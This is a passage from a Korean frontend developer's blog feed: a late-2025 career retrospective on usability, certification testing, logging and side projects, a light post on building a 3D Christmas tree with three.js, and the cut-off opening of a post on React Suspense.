<h4 id="-웃픈-토스-보이스피싱">(+ 웃픈 토스 보이스피싱,,,)</h4>
<p>이렇게 사용자성 때문에 정신이 혼미해지던 와중에</p>
<p>갑자기 토스에서 문자가 하나 왔습니다.</p>
<p>순간 심장이 철렁해서
<img src="https://velog.velcdn.com/images/songyeonji_/post/c615dd34-42ac-4b63-bb1b-a269f79331b7/image.png" alt=""></p>
<p><strong>“혹시 상반기에 지원했던게,,,?”</strong> 했다가 확인해보니</p>
<p>그냥 보이스피싱이었습니다.</p>
<p>토스가 나한테 직접 연락할 리가 없잖아요…</p>
<p>잠깐 설렜던 나 자신 매우 반성합니다.</p>
<p>그리고 다시 현실로 복귀했습니다.</p>
<h3 id="🏸-현실-도피가-아니라-현실-불편-해결용-사이드">🏸 현실 도피가 아니라, 현실 불편 해결용 사이드</h3>
<p>9월에 회사 프로젝트 때문에 머리가 계속 터지고 있던 와중에</p>
<p>웃기게도(?) 하나의 사이드 프로젝트를 만들게 됐습니다.</p>
<p>남자친구가 배드민턴 점수랑 득실차를</p>
<p>매번 수기로 계산하면서 너무 힘들어하길래</p>
<p>“아 그냥 내가 만들어줄게…” 하고</p>
<p>급하게 점수 계산 사이트를 하나 만들었어요.(사실 클로드 코드 썼어요,,,잘하더라고요,,)</p>
<p>솔직히 UI는 엉망이었고 사용자성도 좋다고 말하기는 어려웠지만,</p>
<p>적어도 이제 계산이 틀릴 일은 없다는 것 하나로</p>
<p>그 사이트는 존재 이유가 충분했습니다.</p>
<blockquote>
<p>프로젝트 구경은,,,,,여기 클릭 
<a href="https://playing-badminton.vercel.app/">나만보는 배드민턴 점수집계</a>
+혹시 사용자성이나 의견 좀 주세여,,,,,ㅠ 인덱스 db만 썼습니다...</p>
</blockquote>
<p>회사에선 사용자성을 고민하느라 미치고 있었는데</p>
<p>사이드에서도 결국 똑같이 “사람이 덜 힘들게 하는 게 개발이구나”를</p>
<p>또 한 번 느끼게 된 순간이었어요.</p>
<p>9월을 지나고 나서 저는 확실히 알게 됐어요.</p>
<ul>
<li>사용자는 우리가 생각한 대로 행동하지 않는다</li>
<li>설명 없는 자유는 오히려 독이다</li>
<li>제품은 기능이 아니라, <strong>신뢰</strong>로 평가된다</li>
</ul>
<p>라는 걸요</p>
<h2 id="10월--시험성적서-구조-개편-그리고-그래도-내가-잘-가고-있구나">10월 — 시험성적서, 구조 개편, 그리고 “그래도 내가 잘 가고 있구나”</h2>
<p>10월은 제가 개발자로서</p>
<p><strong>도망치던 것들과, 동시에 처음으로 보상받은 것들이
한꺼번에 밀려온 달</strong>이었습니다.</p>
<p>9월이 사용자성으로 멘탈을 흔들었다면,</p>
<p>10월은 기술적으로도, 감정적으로도</p>
<p><strong>꽤 복합적인 달</strong>이었어요.</p>
<hr>
<h3 id="시험성적서가-등장한-순간-개발의-기준이-바뀌었다">시험성적서가 등장한 순간, 개발의 기준이 바뀌었다</h3>
<p>10월에 들어서자 일정표에 본격적으로 등장한 단어가 하나 있었습니다.</p>
<p><strong>시험성적서.</strong></p>
<p>이 네 글자가 등장하자마자</p>
<p>그동안 “괜찮겠지”로 넘어가던 모든 것들이</p>
<p>전부 질문으로 바뀌었어요.</p>
<ul>
<li>이 기능은 정말 안정적인가?</li>
<li>에러가 나면 얼마나 빨리 캐치할 수 있는가?</li>
<li>성능 저하는 없는가?</li>
<li>이 동작을 문서로 설명할 수 있는가?</li>
</ul>
<p>이제는 “개발자의 감”이 아니라</p>
<p><strong>완성도와 근거</strong>로 증명해야 하는 단계였습니다.</p>
<h3 id="완성도를-요구받는-순간-구조의-민낯이-드러났다">완성도를 요구받는 순간, 구조의 민낯이 드러났다</h3>
<p>시험성적서를 기준으로 하나하나 점검하다 보니 확실히 보였습니다.</p>
<p><strong>폴더 구조가 너무 비효율적이었다는 것.</strong></p>
<p>그동안은</p>
<ul>
<li>“여기서도 쓰고”</li>
<li>“저기서도 쓰고”</li>
<li>“이 파일이 이 역할도 하고, 저 역할도 하는”</li>
</ul>
<p>상태였는데,</p>
<p>시험성적서 기준으로 보니까</p>
<ul>
<li>수정 범위가 너무 넓고</li>
<li>에러 추적이 어렵고</li>
<li>테스트 기준도 모호해지고</li>
</ul>
<p>결국 결론은 하나였습니다.</p>
<blockquote>
<p>“역할 기반 구조로는 한계다.”</p>
</blockquote>
<p>그래서 10월에</p>
<p><strong>역할 기반 → 기능 기반 폴더 구조로
프론트엔드 구조를 아예 갈아엎었습니다.</strong></p>
<p>이미 일정이 촉박한 상황에서</p>
<p>이 결정을 내린 건</p>
<p>솔직히 말해서 <strong>도박</strong>에 가까웠어요.</p>
<p>근데 동시에 이런 생각도 들었습니다.</p>
<blockquote>
<p>“지금 안 바꾸면</p>
<p>이건 평생 고통이다.”</p>
</blockquote>
<p>그래서 시간내서 빠르게 바뀌버렸습니다..</p>
<h3 id="그리고-회의-중-나를-찌른-한-순간">그리고 회의 중, 나를 찌른 한 순간</h3>
<p>10월 즈음, 에러 원인을 찾기 위한 회의 중에</p>
<p>이야기가 자연스럽게</p>
<ul>
<li>프로세스</li>
<li>스레드</li>
<li>내부 동작 구조</li>
</ul>
<p>이쪽으로 흘러갔습니다. </p>
<p>그런데 그때 제가 이 흐름을</p>
<p><strong>명확하게 설명하지 못하겠더라구요.</strong></p>
<p>순간 머릿속이 하얘졌어요.</p>
<blockquote>
<p>“나는 프론트엔드 개발자인데…”</p>
<p>“이건 나중에 공부해도 되지 않나?”</p>
</blockquote>
<p>그동안 프론트엔드라는 이유로</p>
<p>OS, 프로세스, 스레드 같은 영역을</p>
<p>은근슬쩍 피해왔던 게</p>
<p>그 순간 그대로 드러났습니다.</p>
<p>부끄러웠어요. 진짜로.</p>
<h3 id="프론트엔드라서라는-변명을-버리기로-했다">“프론트엔드라서”라는 변명을 버리기로 했다</h3>
<p>회의가 끝나고 혼자 앉아서 이런 생각이 들었습니다.</p>
<blockquote>
<p>“이건 프론트 범위를 벗어난 문제가 아니라,</p>
<p>지금 내가 다루는 시스템의 일부잖아.”</p>
</blockquote>
<p>그래서 그때부터 마음속에서 이 말을 지웠어요.</p>
<p><strong>“나는 프론트엔드 개발자니까.”</strong></p>
<p>대신 이렇게 바꿨습니다.</p>
<blockquote>
<p>“나는 이 시스템을 만드는 개발자니까.”</p>
</blockquote>
<p>완벽하진 않지만, </p>
<p>프로세스와 스레드, OS 기본 구조를 다시 공부하기 시작했고,</p>
<p>적어도</p>
<p>“왜 이런 문제가 터질 수 있는지”는</p>
<p>설명할 수 있어야겠다고 다짐했습니다.</p>
<h3 id="그런데-이-모든-와중에-찾아온-작은-보상">그런데, 이 모든 와중에 찾아온 작은 보상</h3>
<p>정신없이 구조를 바꾸고,</p>
<p>시험성적서를 준비하던 10월에</p>
<p>뜻밖의 연락 하나를 받았습니다.</p>
<p><strong>코드잇 스프린트 커리어 프로그램 우수수료자 선정.</strong>
<img src="https://velog.velcdn.com/images/songyeonji_/post/7a067515-bd4b-4117-9e4f-a50ffa7bb9de/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/fe8cbfaa-7191-410a-8ddd-8739c50266ea/image.png" alt=""></p>
<p>이력서 공개와 함께</p>
<p>짧은 인터뷰를 진행하게 됐고,</p>
<p>우수수료자로 뽑혔다는 이야기를 들었을 때</p>
<p>솔직히 기분이 정말 좋았습니다.</p>
<p>네이버 포인트 <strong>5만 원</strong>도 받았고요. (이건 중요합니다 😄)</p>
<p>하지만 그보다 더 좋았던 건,</p>
<blockquote>
<p>현직 대기업 개발자분이
제 포트폴리오와 이력서를 보고
“잘했다”고 평가해줬다는 사실이었어요.</p>
</blockquote>
<hr>
<h3 id="아-나-방향은-맞구나">“아… 나, 방향은 맞구나”</h3>
<p>10월은 계속해서 부족함을 느끼고,</p>
<p>자존심도 많이 흔들렸던 달이었는데,</p>
<p>이 작은 인정 하나가 제 마음을 꽤 단단하게 잡아줬습니다.</p>
<blockquote>
<p>“아, 내가 완벽하진 않아도</p>
<p>헛되게 가고 있는 건 아니구나.”</p>
</blockquote>
<p>그래서 그때 처음으로</p>
<p>이런 생각이 들었어요.</p>
<blockquote>
<p>“앞으로도 그냥, 꾸준히만 하자.”</p>
</blockquote>
<p>조급해하지 말고,</p>
<p>비교하지 말고,</p>
<p>지금처럼 계속 쌓아가면 된다고.</p>
<p>10월은</p>
<p>힘들고, 아프고, 많이 반성했던 달이었지만</p>
<p>동시에 <strong>처음으로 ‘외부에서의 인정’을 받은 달</strong>이기도 했습니다.</p>
<ul>
<li>구조의 중요성을 몸으로 배웠고</li>
<li>“프론트엔드라서”라는 변명을 내려놓았고</li>
<li>그리고, 내가 잘 가고 있다는 신호도 받았습니다.</li>
</ul>
<p>그래서 10월을 한 문장으로 정리하자면 이거예요.</p>
<blockquote>
<p>“아직 부족하지만,
그래도 계속 가도 되겠다고 느낀 달.”</p>
</blockquote>
<h2 id="🧪11월--시제품-이후-그리고-제품은-개발자-뜻대로-쓰이지-않는다">🧪11월 — 시제품 이후, 그리고 “제품은 개발자 뜻대로 쓰이지 않는다”</h2>
<p>11월은 제가 처음으로</p>
<p><strong>‘이제 이건 팔만한 제품용이 아니다.’</strong>라는 말을</p>
<p>몸으로 실감한 달이었습니다.</p>
<p>10월까지는 “그래도 아직 내부용이지” “시연 단계니까 괜찮겠지”</p>
<p>라는 마음이 아주 조금은 남아 있었는데,</p>
<p>11월에 들어서면서 그 여지는 완전히 사라졌어요.</p>
<h3 id="시제품-다음-단계는-생각보다-훨씬-어려웠다">시제품 다음 단계는, 생각보다 훨씬 어려웠다</h3>
<p>11월부터는 명확하게 기준이 바뀌었습니다.</p>
<blockquote>
<p>“이건 나중에 시장에 나가도 되는 기능인가?”</p>
</blockquote>
<p>이 질문이 모든 개발의 출발점이 됐어요.</p>
<p>그리고 솔직히 말하면,</p>
<p><strong>시제품보다 이 단계가 훨씬 더 어려웠습니다.</strong></p>
<p>시제품 단계에서는 조금 불편해도, 조금 투박해도,</p>
<p>“컨셉은 보여줬잖아”로 넘어갈 수 있었거든요.</p>
<p>근데 제품은 아니었습니다.</p>
<ul>
<li>한 번 더 눌러야 하는 버튼</li>
<li>헷갈리는 용어 하나</li>
<li>설명 없는 화면 전환</li>
</ul>
<p>이 모든 게</p>
<p><strong>바로 ‘문제’</strong>가 됐어요.</p>
<h3 id="기술-시연-그리고-예상-못-한-장면들">기술 시연, 그리고 예상 못 한 장면들</h3>
<p>11월에는 인천으로 기술 시연도 진행했습니다.</p>
<p>이 시연에서 제가 가장 크게 충격받은 장면이 하나 있어요.</p>
<p>그냥, 정말 그냥</p>
<p><strong>‘닫기 버튼’을 하나 추가해준 기능</strong>이 있었거든요.</p>
<p>개발자 입장에서는 “있으면 편하겠지” 정도의 버튼이었는데,</p>
<p>사용자는 그 버튼을 눌러서</p>
<p><strong>아예 다음 단계를 진행하지 않고 그대로 종료</strong>해버렸습니다.</p>
<p>그 장면을 보는 순간</p>
<p>머릿속이 잠깐 멈췄어요.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/eebf656e-6736-40cf-92a3-0b37ea95dae2/image.png" alt=""></p>
<blockquote>
<p>“어… 아니… 그게 그 용도가 아닌데…”</p>
</blockquote>
<h3 id="사용자는-항상-가장-쉬운-탈출구를-찾는다">사용자는 항상 ‘가장 쉬운 탈출구’를 찾는다</h3>
<p>그 시연을 계기로 확실히 깨달은 게 있습니다.</p>
<blockquote>
<p>사용자는
우리가 의도한 흐름을 따르지 않는다.사용자는
가장 쉬운 길을 선택한다.</p>
</blockquote>
<p>개발자 입장에서는 “이건 중간에 나가면 안 되는 단계”였지만,</p>
<p>사용자 입장에서는 “지금 안 해도 되는 것”이었던 거죠.</p>
<p>이걸 보고 나서</p>
<p>선택지에 대한 기준이 완전히 바뀌었습니다.</p>
<ul>
<li>정말 필요한 선택인가?</li>
<li>사용자가 도망가도 괜찮은 지점인가?</li>
<li>아니면 반드시 안내하고 붙잡아야 하는 단계인가?</li>
</ul>
<p>이걸 하나하나 다시 정의하기 시작했어요.</p>
<h3 id="자유는-안내-없이는-독이-된다">자유는 안내 없이는 독이 된다</h3>
<p>11월에 가장 크게 바뀐 제 생각은 이거였습니다.</p>
<blockquote>
<p>“사용자에게 선택지를 많이 주는 게
항상 좋은 건 아니다.”</p>
</blockquote>
<p>우리는 “선택이 많으면 좋겠지”라고 생각했지만,</p>
<p>실제 사용자는 선택이 많을수록 더 불안해했습니다.</p>
<p>특히 보안 제품이라는 특성 때문에</p>
<p>사용자 입장에서는</p>
<ul>
<li>한 번의 실수가</li>
<li>큰 문제로 이어질 것처럼 느껴졌고</li>
<li>그래서 아예 아무것도 안 하게 되는 경우도 많았어요.</li>
</ul>
<p>그때 깨달았습니다.</p>
<blockquote>
<p>사용자성은 편의성이 아니라,
‘안심시키는 설계’라는 걸요.</p>
</blockquote>
<h3 id="11월이-남긴-가장-큰-깨달음">11월이 남긴 가장 큰 깨달음</h3>
<p>11월을 지나고 나서 제 머릿속에 남은 문장은 이거였습니다.</p>
<blockquote>
<p>“제품은 개발자가 만드는 게 아니라,
사용자가 완성한다.”</p>
</blockquote>
<p>아무리 구조가 좋아도, 아무리 코드가 깔끔해도,</p>
<p>사용자가 이해하지 못하면 그건 아직 제품이 아니었습니다.</p>
<p>11월은 이 사실을 가장 정직하게 마주한 달이었어요.</p>
<h2 id="🔐-12월--안정성-로그-그리고-사용자보다-먼저-고치는-사람">🔐 12월 — 안정성, 로그, 그리고 “사용자보다 먼저 고치는 사람”</h2>
<p>12월은 화려하지 않았고, 눈에 띄는 새 기능도 많지 않았지만,</p>
<p>지금 돌이켜보면</p>
<p><strong>하반기에서 가장 중요한 걸 만든 달</strong>이었습니다.</p>
<p>11월까지 사용자성과 제품의 무게를 배웠다면,</p>
<p>12월은 그걸 <strong>‘지속 가능한 상태’로 만드는 달</strong>이었어요.</p>
<h3 id="보안기능-인증시험-그리고-현실의-시작">보안기능 인증시험, 그리고 현실의 시작</h3>
<p>12월의 시작은 <strong>보안기능 인증시험 준비</strong>였습니다.</p>
<p>이건 단순히 “기능이 있다”를 증명하는 시험이 아니었어요.</p>
<ul>
<li>실제 환경에서도 안정적인지</li>
<li>예상 못 한 상황에서도 버티는지</li>
<li>문제가 생기면 추적 가능한지</li>
</ul>
<p>이걸 전부 보여줘야 했습니다.</p>
<p>그리고 이 과정에서 그동안 모르고 지나쳤던 사실 하나를 뒤늦게 알게 됐어요.</p>
<h3 id="os가-다르면-에러도-다르다">OS가 다르면, 에러도 다르다</h3>
<p>이미 나간 기능들에서 OS별로 전혀 다른 에러가 발생하고 있다는 걸</p>
<p>12월에 와서야 명확하게 인지했습니다.</p>
<p>그게 정말 무서웠던 이유는 이거였어요.</p>
<blockquote>
<p>에러는 있었는데,
우리는 그걸 모르고 있었다.</p>
</blockquote>
<p>사용자는 그냥 “뭔가 이상한데?” 하고 넘어가거나,</p>
<p>아예 말을 안 했을 수도 있고,</p>
<p>우리는 “잘 돌아가겠지”라고 생각하고 있었던 거죠.</p>
<p>이걸 깨달은 순간, 등골이 살짝 서늘해졌습니다.</p>
<h3 id="로그가-없으면-아무것도-아니다">로그가 없으면, 아무것도 아니다</h3>
<p>그래서 방향을 완전히 바꿨습니다. </p>
<p>12월의 키워드는 <strong>로그</strong>였습니다.</p>
<ul>
<li>모든 에러를 파일로 남기고</li>
<li>그 로그를 자동으로 서버로 수집하고</li>
<li>원격에서 바로 확인할 수 있도록</li>
</ul>
<p>에러를 <strong>‘기록되지 않는 사고’</strong>가 아니라</p>
<p><strong>‘관리 가능한 이벤트’</strong>로 바꾸는 작업이었어요.</p>
<p>Redis를 도입해서</p>
<p>에러 상태를 빠르게 확인할 수 있게 만들었고,</p>
<p>이제는</p>
<ul>
<li>언제</li>
<li>어떤 환경에서</li>
<li>어떤 에러가</li>
<li>어떤 흐름에서 났는지</li>
</ul>
<p>를 한 번에 볼 수 있는 구조를 만들었습니다.</p>
<h3 id="안정성이란-에러가-없는-상태가-아니었다">안정성이란, 에러가 없는 상태가 아니었다</h3>
<p>12월을 지나며 제가 완전히 바뀐 생각이 하나 있습니다.</p>
<p>이전엔 “안정적이다”라는 말을</p>
<p>에러가 없는 상태라고 생각했어요.</p>
<p>근데 아니었습니다.</p>
<blockquote>
<p>안정성이란
에러를 빨리 알아차리고,
빨리 고칠 수 있는 상태였습니다.</p>
</blockquote>
<p>이미 자동 업데이트 기능을 넣어둔 덕분에,</p>
<ul>
<li>에러를 발견하고</li>
<li>수정하고</li>
<li>사용자 개입 없이 배포하는 흐름을</li>
</ul>
<p>꽤 빠르게 만들 수 있었어요.</p>
<p>그때 처음으로 이런 생각이 들었습니다.</p>
<blockquote>
<p>“아… 이 정도면</p>
<p>그래도 사용자한테 미안하지는 않다.”</p>
</blockquote>
<h3 id="그리고-정말-오랜만에-나를-위한-개발">그리고, 정말 오랜만에 나를 위한 개발</h3>
<p>12월 내내 회사 일에 치여 살다 보니</p>
<p>사이드 프로젝트는 거의 손도 못 댔는데,</p>
<p>연말에 딱 하나 꺼낸 게 있었습니다.</p>
<p><strong>3D 크리스마스 트리.</strong></p>
<p>three.js로 만들었고, GPU를 살살 녹이면서</p>
<p>불빛이 반짝이는 트리를 만들었어요.</p>
<p>이 프로젝트는 완성도를 따지기보단,</p>
<blockquote>
<p>“아, 나 아직 개발 좋아하네.”</p>
</blockquote>
<p>이 감정을</p>
<p>다시 확인하기 위한 작업이었습니다.</p>
<p>사실 이 시점엔 체력도, 멘탈도 꽤 바닥이었어요.</p>
<p>그래도 전구가 반짝이는 걸 보면서</p>
<ul>
<li>내가 만든 게 눈앞에서 움직이고</li>
<li>코드가 실제 화면이 되고</li>
<li>‘재밌다’는 감정이 다시 올라오는 순간</li>
</ul>
<p>그게 참 좋았습니다.</p>
<p>개발을 좋아해서 시작했는데,</p>
<p>중간에 그 이유를 잠깐 잊고 있었구나 싶었어요.</p>
<blockquote>
<p>크리스마스 트리 구경하러가기 
<a href="https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C">3D 크리스 마스 트리 회고록 보러가기</a></p>
</blockquote>
<h2 id="🌙-2025년-하반기를-닫으며">🌙 2025년 하반기를 닫으며</h2>
<p>2025년 하반기는</p>
<p>솔직히 말해서 정말 많이 무너지고, 많이 지치고, 많이 배웠던 시간이었습니다.</p>
<p>단위 테스트로 안심했던 코드들은 통합 테스트에서 깨졌고,</p>
<p>구조를 미뤄둔 대가는 일정과 멘탈로 돌아왔고,</p>
<p>“개발자끼리는 알겠지”라고 만든 기능들은 사용자 앞에서 전부 멈췄습니다.</p>
<p>그 과정 속에서 저는</p>
<p>코드를 잘 짜는 개발자가 아니라</p>
<p>끝까지 책임지는 개발자가 되어가고 있었다는 걸</p>
<p>뒤늦게 깨닫게 된 것 같아요.</p>
<p>혼자 야근하면서 좌절하던 순간도 많았지만,</p>
<p>회사 분들의 응원과 믿음,</p>
<p>특히 상사분들이 늘 이뻐해주시고 격려해주신 덕분에
<img src="https://velog.velcdn.com/images/songyeonji_/post/fafb7876-5371-4c34-9777-286e849e0e3a/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/76a71eb8-f252-46a7-8fae-2943c21e0cd0/image.png" alt=""></p>
<p>끝까지 버틸 수 있었습니다.</p>
<p>그래서 이 하반기는</p>
<p>힘들었던 기억보다도</p>
<p>“그래도 나는 계속 가고 있구나”라는 감정으로 남아 있습니다.</p>
<p>Electron을 통해</p>
<p>웹 밖의 세계를 처음 경험했고,</p>
<p>솔루션과 시스템을 만드는 재미를 알게 되었고,</p>
<p>그래서 더 넓은 개발 영역에도 욕심이 생겼습니다.</p>
<p>2026년에는</p>
<p>three.js를 제대로 공부해보고 싶고,</p>
<p>vue.js도 깊게 다뤄보고 싶고,</p>
<p>언젠가는 로봇과 같은 하드웨어와 맞닿은 개발에도 도전해보고 싶습니다.</p>
<p>아직은 부족한 게 너무 많지만,</p>
<p>올해를 지나며 확실히 느낀 건 하나예요.</p>
<blockquote>
<p>개발자는 무너지면서 자라고,</p>
<p>버틴 만큼 결국 다음 단계로 나아간다.</p>
</blockquote>
<p>그래서 저는 내년에도</p>
<p>겁먹지 않고, 미루지 않고,</p>
<p>계속 배우고 실험하면서 나아가 보려고 합니다.</p>
<p>프론트엔드 개발자 송연지,</p>
<p>2026년에도 성장 중으로 살아가겠습니다. 🚀💙</p>
<hr>
<p>마지막으로 이 긴 하반기 회고를</p>
<p>여기까지 읽어주신 분들께 진심으로 감사드립니다.</p>
<p>저는 여전히 느리고, 부족하고,</p>
<p>남들보다 돌아가고 있다는 느낌을 받을 때도 많지만</p>
<p>그래도 올해를 지나면서 한 가지는 확실히 믿게 됐어요.</p>
<blockquote>
<p>속도는 늦을 수 있어도</p>
<p>방향만큼은 맞는 개발자로 가고 싶다.</p>
</blockquote>
<p>빠르게 성장하는 개발자도 멋있지만,</p>
<p>저는 실수하더라도 배우고,</p>
<p>무너지더라도 기록하고,</p>
<p>결국엔 단단해지는 개발자가 되고 싶습니다.</p>
<p>혹시 이 글을 읽고 있는 누군가도</p>
<p>지금 느리다고 느껴지거나, 비교 때문에 힘들다면</p>
<p>우리 그냥 이렇게 말했으면 좋겠어요.</p>
<p>“늦어도 괜찮다. 멈추지만 않으면 된다.”</p>
<p>개발자는 결국</p>
<p>계속 배우는 사람이 이긴다고 저는 믿습니다.</p>
<p>그래서 저는 내년에도 계속 배우고, 도전하고, 버틸 거고</p>
<p>이 글을 읽는 모든 개발자 분들도</p>
<p>각자의 자리에서 원하는 방향으로 끝까지 나아가시길</p>
<p>진심으로 응원합니다.</p>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/094eb15a-d3e9-462d-bc22-def20c917192/image.png" alt=""></p>
<p>우리 모두 2026년도 화이팅입니다. 🚀💙!</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[🎄 개발자라면 크리스마스 트리부터 만들고 시작해야 하는 거 아닙니까]]></title>
            <link>https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/%EA%B0%9C%EB%B0%9C%EC%9E%90%EB%9D%BC%EB%A9%B4-%ED%81%AC%EB%A6%AC%EC%8A%A4%EB%A7%88%EC%8A%A4-%ED%8A%B8%EB%A6%AC%EB%B6%80%ED%84%B0-%EB%A7%8C%EB%93%A4%EA%B3%A0-%EC%8B%9C%EC%9E%91%ED%95%B4%EC%95%BC-%ED%95%98%EB%8A%94-%EA%B1%B0-%EC%95%84%EB%8B%99%EB%8B%88%EA%B9%8C</guid>
            <pubDate>Wed, 24 Dec 2025 13:51:14 GMT</pubDate>
            <description><![CDATA[<h3 id="🎅산타-할아버지-저는-선물로-행복한-71억-주세요-기억말고-71억이요">🎅산타 할아버지, 저는 선물로 행복한 71억 주세요. 기억말고 71억이요,,,</h3>
<p>크리스마스가 오면 사람들은 트리를 꺼내고,</p>
<p>개발자는 콘솔을 켭니다.</p>
<p>그리고 이렇게 생각합니다.</p>
<blockquote>
<p>“별 찍고 공백 맞추는 트리…</p>
<p>나도 한 번쯤은 만들어봤지.”</p>
</blockquote>
<pre><code>    *
   ***
  *****
 *******
*********
</code></pre><p>이 트리의 문제점은 명확합니다.</p>
<p><strong>재미가 없습니다.</strong></p>
<p>너무 빨리 끝납니다.</p>
<p>그리고 GPU가 전혀 아프지 않습니다.</p>
<p>그래서 문제가 됩니다.</p>
<hr>
<h2 id="🎅--이-정도로는-만족하지-못합니다">🎅  이 정도로는 만족하지 못합니다</h2>
<p>문득 이런 생각이 들었습니다.</p>
<blockquote>
<p>“three.js를 아직 안 써봤는데</p>
<p>이걸 크리스마스까지 미루면 영영 안 쓰는 거 아닐까?”</p>
</blockquote>
<p>공부 목적으로 시작하기엔 귀찮고,</p>
<p>사이드 프로젝트로 하기엔 애매한데</p>
<p>마침 트리가 있었습니다.</p>
<p>그래서 결론은 간단했습니다.</p>
<blockquote>
<p>트리를 3D로 만들자.
느리면 느린 대로 두자.</p>
</blockquote>
<hr>
<h2 id="🌲-그래서-나온-결과물">🌲 그래서 나온 결과물</h2>
<p><img src="https://velog.velcdn.com/images/songyeonji_/post/94c0440d-5251-40e9-940e-ddc08a0d285e/image.png" alt=""></p>
<p>👉 <a href="https://3-d-christmas-tree.vercel.app/?utm_source=chatgpt.com">https://3-d-christmas-tree.vercel.app/</a></p>
<ul>
<li>마우스로 돌릴 수 있고</li>
<li>전구가 깜빡이고</li>
<li>눈이 내리고</li>
<li>설정 패널까지 있습니다</li>
</ul>
<p>그리고 제일 중요한 특징 하나.</p>
<blockquote>
<p>컴퓨터가 크리스마스를 함께 느낍니다. (팬 소리)</p>
</blockquote>
<hr>
<h2 id="🧩-기술-얘기">🧩 기술 얘기</h2>
<p>이번 트리는</p>
<p>Next.js 위에 React Three Fiber를 얹어서 만들었습니다.</p>
<p>three.js를 직접 쓰기엔 연말이었고,</p>
<p>그래서 React스럽게:</p>
<ul>
<li><code>group</code>으로 장식들을 묶고</li>
<li><code>useFrame</code>으로 전부 움직이게 만들고</li>
<li>전구는 배열로 쭉 만들었습니다</li>
</ul>
<p>전구 깜빡임은 사실 굉장히 단순합니다.</p>
<pre><code class="language-tsx">Math.sin(time + offset)
</code></pre>
<p>하지만 이 한 줄 덕분에</p>
<p>전구들이 <strong>“나 각자 살아있다”</strong>는 태도를 보입니다.</p>
<hr>
<h2 id="🎛️-괜히-만들어본-설정-패널">🎛️ 괜히 만들어본 설정 패널</h2>
<p>전구 개수, 속도, 눈 내림 여부, 자동 회전.</p>
<p>없어도 되는데</p>
<p><strong>있으면 더 만지고 싶어집니다.</strong></p>
<p>이걸 만들면서 느낀 점은 하나였습니다.</p>
<blockquote>
<p>설정 패널은 기능보다</p>
<p><strong>괜히 있는 게 더 중요하다.</strong></p>
</blockquote>
<hr>
<h2 id="🐢-최적화는요-안-했습니다">🐢 최적화는요? 안 했습니다</h2>
<p>왜냐하면</p>
<p>이 트리는 실무용이 아니라</p>
<p><strong>연말 감성용</strong>이기 때문입니다.</p>
<ul>
<li>전구 많음</li>
<li>라이트 많음</li>
<li>눈 계속 떨어짐</li>
</ul>
<p>그래서:</p>
<ul>
<li>노트북이 따뜻해지고</li>
<li>팬이 돌고</li>
<li>크리스마스 분위기는 최고입니다</li>
</ul>
<p>🎄 <strong>성능을 희생하여 연말을 얻었습니다.</strong></p>
<hr>
<h2 id="🎁-이-프로젝트의-진짜-목적">🎁 이 프로젝트의 진짜 목적</h2>
<p>이 트리는</p>
<p>잘 만든 트리가 아닙니다.</p>
<p>하지만:</p>
<ul>
<li>만들면서 재밌었고</li>
<li>three.js를 “써봤다”는 기록이 남았고</li>
<li>내년에 또 트리를 만들 핑계가 생겼습니다</li>
</ul>
<p>그럼 이걸로 충분하지 않겠습니까.</p>
<hr>
<h2 id="✨-마무리">✨ 마무리</h2>
<p>개발자라면</p>
<p>별 한 번 찍고</p>
<p>공백 한 번 맞추고</p>
<p>결국엔 트리를 만들어야 합니다.</p>
<p>올해는 콘솔이 아니라</p>
<p>GPU로 만들었을 뿐입니다.</p>
<blockquote>
<p>메리 크리스마스입니다 🎄
그리고 개발자 여러분, 트리는 늘 옳습니다.</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[✨React Suspense는 왜 등장했을까?]]></title>
            <link>https://velog.io/@songyeonji_/React-Suspense%EB%8A%94-%EC%99%9C-%EB%93%B1%EC%9E%A5%ED%96%88%EC%9D%84%EA%B9%8C</link>
            <guid>https://velog.io/@songyeonji_/React-Suspense%EB%8A%94-%EC%99%9C-%EB%93%B1%EC%9E%A5%ED%96%88%EC%9D%84%EA%B9%8C</guid>
            <pubDate>Thu, 27 Nov 2025 03:01:58 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/8e96c38f-76b0-4137-a89d-4ad977be09dc/image.png" alt=""></p>
<p>— 비동기 때문에 흔들리던 UI를 React가 직접 통제하기 시작한 순간</p>
<p>프론트엔드 개발을 하다 보면 자연스럽게 하나의 고민이 생깁니다.</p>
<blockquote>
<p>“왜 로딩 UI가 이렇게 많지?”</p>
<p>“왜 페이지 이동할 때 깜빡이지?”</p>
<p>“데이터 패칭 실패하면 화면이 바로 죽는 이유가 뭘까?”</p>
<p>“컴포넌트마다 isLoading, error를 계속 만들어야 하는 게 맞는 걸까?”</p>
</blockquote>
<p>React는 분명 <strong>“UI를 선언적으로 그리는 라이브러리”</strong>인데,</p>
<p>정작 <strong>데이터 패칭·로딩·에러·코드 스플리팅</strong>처럼 실제 애플리케이션에 반드시 필요한 비동기 흐름은 React가 직접 관리하지 않았습니다.</p>
<p>그 결과 애플리케이션 구조는 점점 복잡해졌습니다.</p>
<ul>
<li>로딩 UI가 곳곳에 흩어지고</li>
<li>에러 처리 방식은 개발자마다 다르고</li>
